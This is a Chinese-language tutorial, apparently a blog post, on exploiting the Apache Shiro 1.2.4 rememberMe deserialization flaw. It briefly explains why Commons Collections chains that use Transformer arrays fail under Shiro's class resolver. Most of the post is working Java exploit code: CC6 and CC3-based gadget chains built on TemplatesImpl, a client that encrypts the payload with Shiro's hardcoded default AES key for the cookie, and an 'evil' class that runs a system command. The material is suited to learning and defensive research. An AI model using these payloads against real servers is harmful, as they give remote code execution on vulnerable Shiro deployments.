一、前言
在前面的学习中,我们学习了CC1、CC6链,其中CC1链受限于Java8u71版本,而CC6则是通杀的利用链;后来又将 TemplateImpl 融入到 CommonsCollections 利用链中,绕过了 InvokerTransformer 不能使用的限制,转用org.apache.commons.collections.functors.InstantiateTransformer 构造了CC3利用链,一样可以执行任意Java字节码;同时通过 TemplatesImpl 构造的利用链,理论上可以执行任意java代码,这是一种非常通用的代码执行漏洞,不受到对于链的限制,特别是内存马逐渐流行以后,执行任意 java代码的需求就更加浓烈了。
本文就通过————Shiro反序列化的漏洞,来实际学习下如何使用 TemplatesImpl
二、使用 CommonsCollections6 攻击 Shiro
1、环境安装和初步利用
Shiro反序列化的原理比较简单:为了让浏览器或服务器重启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe 字段中,下次读取时进行解密再反序列化。 但是在Shiro 1.2.4 版本之前内置了一个默认且固定的加密Key, 导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞。
这里使用P牛简化的一个shrio1.2.4的登陆应用 整个项目只有两个代码文件,index.jsp 和login.jsp,依赖也仅有下面几个:
- shiro-core、shiro-web, 这是shiro本身的依赖
- javax.servlet-api、jsp-api, 这是JSP和Servlet的依赖,仅在编译阶段使用,因为Tomcat中自带这两个依赖
- slf4j-api、slf4j-simple,这是为了显示shiro中的报错信息添加的依赖
- commons-logging,这是shiro中用到的一个接口,不添加会爆 java.lang.ClassNotFoundException:org.apache.commons.logging.LogFactory错误
- commons-collectons, 为了演示反序列化漏洞,增加了 commons-collections依赖
如果登录时选择了remember me的多选框,则登录成功后服务端会返回一个rememberMe的Cookie:
攻击过程如下:
- 使用以前学过的CommonsCollections6利用链生成一个序列化Payload
- 使用Shiro默认key进行加密
- 密文作为 rememberMe的Cookie发送给服务端
生成payload CommonsCollections6.java
public class CommonsCollections6 {
public byte[] getPayload(String command) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] { command }),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
// 不再使用原CommonsCollections6中的HashSet,直接使用HashMap
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
return barr.toByteArray();
}
}
使用Shiro默认Key进行加密: Client0.java
public class Client0 {
public static void main(String[] args) throws Exception {
byte[] payloads = new CommonsCollections6().getPayload("calc.exe");
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
System.out.println(key.toString());
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.println(ciphertext.toString());
}
}
加密的过程,使用的shiro内置的类 org.apache.shiro.crypto.AesCipherService
,最后生成一段base64字符串。 直接将这段字符串作为rememberMe的值(不做url编码),发送给shiro。并没有弹出计算器,而是Tomcat出现了报错:
这是为什么?
2、冲突与限制
我们找异常信息的倒数第一行,也就是 org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass
这是一个 ObjectInputStream的子类,其重写了resolveClass 方法
package org.apache.shiro.io;
import org.apache.shiro.util.ClassUtils;
import org.apache.shiro.util.UnknownClassException;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
/**
* Enables correct ClassLoader lookup in various environments (e.g. JEE Servers, etc).
*
* @since 1.2
* @see <a href="https://issues.apache.org/jira/browse/SHIRO-334">SHIRO-334</a>
*/
public class ClassResolvingObjectInputStream extends ObjectInputStream {
public ClassResolvingObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Resolves an {@link ObjectStreamClass} by delegating to Shiro's
* {@link ClassUtils#forName(String)} utility method, which is known to work in all ClassLoader environments.
*
* @param osc the ObjectStreamClass to resolve the class name.
* @return the discovered class
* @throws IOException never - declaration retained for subclass consistency
* @throws ClassNotFoundException if the class could not be found in any known ClassLoader
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
try {
return ClassUtils.forName(osc.getName());
} catch (UnknownClassException e) {
throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);
}
}
}
resolveClass 是反序列化中用来查找类的方法,简单来说,读取序列化流的时候,读到一个字符串形式的类名,需要通过这个方法来找到对应的 java.lang.Class 对象。
对比一下它的父类,也就是正常的ObjectInputStream类中的 resolveClass 方法:
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException
{
String name = desc.getName();
try {
return Class.forName(name, false, latestUserDefinedLoader());
} catch (ClassNotFoundException ex) {
Class<?> cl = primClasses.get(name);
if (cl != null) {
return cl;
} else {
throw ex;
}
}
}
区别就是前者用的是 org.apache.shiro.util.ClassUtils#forName(实际上内部用到了 org.apache.cataline.loader.ParallelWebappClassLoader#loadClass) , 而后者用的是Java原生的 Class.forName.
关于这两者的区别,中间涉及到大量Tomcat对类加载的处理逻辑,参考文章
强网杯“彩蛋”——Shiro 1.2.4(SHIRO-550)漏洞之发散性思考 - zsx's Blog
http://www.rai4over.cn/2020/Shiro-1-2-4-RememberMe反序列化漏洞分析-CVE-2016-4437/
这里套用结论: 如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。 这就是解释了为什么 CommonsCollections6无法利用了,因为其中用到了 Transformer 数组
3、构造不含数组的反序列化利用链
为了解决刚刚提到的问题,我们回顾下前文说过的 TemplatesImpl,可以通过下面的几行代码来执行一段Java的字节码:
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setfieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTranformer();
然后结合InvokerTranformer 调用 TemplatesImpl#newTransformer 方法,
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
}
不过,即使在这里,依旧用到了 Transformer 数组, 不符合条件? 所以进一步想想如何去除这一过程中的Transformer 数组呢?wh1t3p1g大佬的文章中给出了行之有效的方法。
回顾下CommonsCollections6利用链中,我们用到了 TiedMapEntry, 其构造函数接收两个参数,参数1 是一个Map, 参数2是一个key。 TiedMapEntry 类有个 getValue 方法, 调用了map的get方法,并传入key:
public object getValue() {
return map.get(key);
}
当这个map 是LazyMap 时, 其get方法就是触发 transform的关键点:
public Object get(Object key) {
//create value for key if key is not currently in the map
if (!this.map.containsKey(key)) {
Object value = this.factory.transform(key);
this.map.put(key, value);
return value;
} else {
return this.map.get(key);
}
}
我们以往构造CommonsCollections Gadget的时候,对LazyMap#get方法的参数key 是不关心的,因为通常 Transformer 数组的首个对象是 ConstantTransformer,我们通过ConstantTransformer 来初始化恶意对象。
但是当前由于我们没法使用Transformer 数组,也就不能使用ConstantTransformer 作为前置transformer, 但是我们发现 LazyMap#get 的参数 key,会被传进 tranformer(), 实际上它可以扮演ConstantTransformer的角色--简单的对象传递者。
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
}
4、改造CommonsCollections6攻击Shiro
运行环境:
java 1.8.0_71
commons-collections 3.2.1
首先还是创造 TemplatesImpl对象:
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloImpl");
setFiledValue(obj, "_tfactory", new TransformerFactoryImpl());
然后我们创建一个用来调用 newTransformer 方法的InvokerTranformer, 但注意到 是,此时先传入一个人畜无害的方法,比如getClass, 避免恶意方法在构造 Gadget的时候触发:
Tranformer transformer = new InvokerTransformer("getClass", null, null);
再把之前的CommonsCollections6
的代码复制过来,然后改上一节说到的点,就是将原来TiedMapEntry构造时的第二个参数key,改为前面创建的TemplatesImpl对象
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tem, "valuvalue");
outerMap.clear()
这里没有用outerMap.remove("obj"); 移除key的副作用,直接通过outerMap.clear(); 效果一样
最后,将 InvokerTranformer 的方法从人畜无害的 getClass ,改成newTranformer, 正式完成武器装配。 完整代码如下:
CommonsCollectionsShiro.java
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "Hellotemplate");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
//生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
return barr.toByteArray();
}
}
同时写个Client.java来装配上面的CommonsCollectionsShiro:
Client.java
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Client {
public static void main(String []args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(evil.class.getName());
byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
恶意的字节码文件
evil.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class evil extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public evil() throws Exception {
super();
System.out.println("Hello TemplatesImpl");
Runtime.getRuntime().exec("calc.exe");
}
}
这里用到了 javassist ,这是一个字节码操纵的第三方库,可以帮助我将恶意类evil.java 生成字节码再交给 TemplatesImpl 。 生成的POC ,在 Cookie 里进行发送,成功弹出计算器
5、改造 CommonsCollections3 攻击Shiro
运行环境:
java 1.8.0_71
commons-collections 3.2.1
同上,这里也改造一个CommonsCollections3 攻击Shiro的Poc
CommonsColections3_Shiro.java
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsColections3_Shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "Hellotemplate");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer faketransformer = new ConstantTransformer(1);
Transformer transformer = new InstantiateTransformer(new Class[]{ Templates.class}, new Object[]{ obj});
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, faketransformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, TrAXFilter.class);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
setFieldValue(outerMap, "factory", transformer);
//生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
return barr.toByteArray();
}
其他 Client.java 和 evil.java 同上